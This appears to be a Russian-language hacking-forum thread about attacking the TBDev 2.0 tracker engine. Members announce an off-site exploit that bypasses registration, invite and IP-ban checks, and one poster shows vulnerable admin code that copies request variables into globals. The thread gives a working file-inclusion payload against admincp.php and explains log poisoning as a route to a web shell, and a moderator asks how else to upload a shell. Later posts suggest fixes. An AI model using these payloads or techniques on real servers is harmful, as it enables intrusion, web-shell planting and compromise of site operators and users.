Трекер-движок TBDev 2.0

Discussion in 'Веб-уязвимости' started by Qwazar, 5 Aug 2008.

  1. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    Видимо у вас что -то не так, вызвать его напрямую можно...
    Только он доступен-то модератором только т.к это против них XSS
     
  2. Rostov114

    Rostov114 Elder - Старейшина

    Joined:
    5 Sep 2008
    Messages:
    33
    Likes Received:
    10
    Reputations:
    5
    Новый сплоит от меня. Базируеться на сплоите от Qwazar.

    На данный момент он умеет обходить:
    • Коды регистрации
    • Запросы инвайтов
    • Бан по IP

    Совершает атаки через:
    • ./rss.php
    • ./requests.php
    • ./takesignup.php
    • ./check_signup.php
    • ./viewoffers.php
    • Форум

    Также имеет 2 способа работы:
    • Multi mode - атака по всем файлам, в том числе авторигистрация.
    • Qwazar exploit mode - работает как вторая версия эксплоита от Qwazar

    В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь

    Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.

    Внимание: Данная программа выложена здесь для ознакомления.
    Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
    Также автор не несет ответственности за причерченный вред кому либо данной программой.
     
    #142 Rostov114, 2 Aug 2009
    Last edited: 6 Aug 2009
    2 people like this.
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    как еще можно залить шелл??кроме блоков
     
    _________________________
  4. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    Спасибо за сплоит, пару багов закрыл ;)

    Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак.
     
  5. 1ce666

    1ce666 Member

    Joined:
    9 Dec 2008
    Messages:
    45
    Likes Received:
    79
    Reputations:
    -4
    Делись фиксами :D
     
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605

    зарегай меня там...а то скока мылов у тебя блочены =) а новые версии интересны =)
     
    _________________________
  7. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Можно, если есть доступ в админку. По крайней мере в той версии, что сейчас доступна для скачивания и во всех предыдущих. Палю превад (From ROA with love):

    RFI/LFI:

    В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания:
    Code:
    $op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];
    
    foreach ($_GET as $key => $value)
    	$GLOBALS[$key] = $value;
    foreach ($_POST as $key => $value)
    	$GLOBALS[$key] = $value;
    foreach ($_COOKIE as $key => $value)
    	$GLOBALS[$key] = $value;
    
    require_once($rootpath . 'admin/functions.php');
    Этот файл инклудится в admin.php . Который в свою очередь инклудится в admincp.php. (Файлы из /admin/ закрыты при помощи .htaccess)

    т.е. :
    Code:
    http://test/tbdev/admincp.php?rootpath=[B][RFI/LFI][/B]
     
    #147 Qwazar, 7 Aug 2009
    Last edited: 7 Aug 2009
  8. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    Если ты про Remote Code inclusion - работаьтьб бдует только если register_globals = On

    а про доступ к админке -не думаю что там уже нужно что-то больше ;)
     
  9. Kakoytoxaker

    Kakoytoxaker Elder - Старейшина

    Joined:
    18 Feb 2008
    Messages:
    1,038
    Likes Received:
    1,139
    Reputations:
    350
    Yuna
    LFI порой бывает вполне достаточно. Вариантов масса.
     
  10. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    LFI? расшифруй

    Local file inclusion?

    в данном случае он тоже не пройдет, кстаи такая фишка и в announce.php Тоже ;)
     
  11. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Local File Inclusion, вкрадце, мы в логи фигачим PHP код, а потом эти лог файлы инклудим. (как один из вариантов, есть ещё)

    В общем, обычно этого достаточно чтобы на сервере получить полноценный веб-шелл.

    З.Ы.
    На последней версии доступной для скачивания, проходит на 100%.
     
  12. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    повторяю - если register_globals = On
     
  13. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Неа, при Off

    http://test2.ru/admincp.php?rootpath=../2.php%00

    Это при

    php_flag register_globals Off
    php_flag magic_quotes_gpc Off

    Нормально запускает 2.php

    при magic_quotes_gpc On также есть вариант отрезать всё что после нашего имени файла (в соседних темах метод описан).
     
    #153 Qwazar, 7 Aug 2009
    Last edited: 7 Aug 2009
  14. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    ммм, да, вижу в чем прикол =)) забавно
    у аннонсера просто прикол тоже с rootpath + globals + разрешить fopen + url =))
     
  15. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Угу, при глобалс он права админа не нужны :)
     
  16. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    можно сделать попроще - доступ к admincp.php - там тоже проверку если ты админ - проблему решает, не на 100%, но решает.
     
  17. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Нельзя решать проблему не на 100%, к тому же мой метод пашет только для админа и так. Лучше заменить $rootpath на чтото типа dirname(__FILE__), или путь к корню дефайном куда нибудь засунуть, в общем избавиться от переменной.

    P.S.
    А вообще надо думать нафига вот такой кусок кода вообще нужен, т.к.он заведомо будет являться причиной уязвимостей, даже если конкретно эту пофиксить. (Там при добавлении каких нибудь модулей к примеру, ну или может где нибудь ещё какая переменная в админке инклудится, а не только $rootpath)
     
    #157 Qwazar, 8 Aug 2009
    Last edited: 8 Aug 2009
  18. Yuna

    Yuna Member

    Joined:
    22 Jun 2009
    Messages:
    41
    Likes Received:
    8
    Reputations:
    12
    убрал вообще, но да - это таки серьезная бага... надо было самому код это писать, а не со слаеда тянуть :D
     
  19. 1ce666

    1ce666 Member

    Joined:
    9 Dec 2008
    Messages:
    45
    Likes Received:
    79
    Reputations:
    -4
    Фикса не будет? :confused:
     
  20. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Дык сам прикинь как бы пофиксил и пофиксь. Как примерно надо фиксить я описал выше. (в качестве hotfix'а сойдёт)
     
    #160 Qwazar, 8 Aug 2009
    Last edited: 8 Aug 2009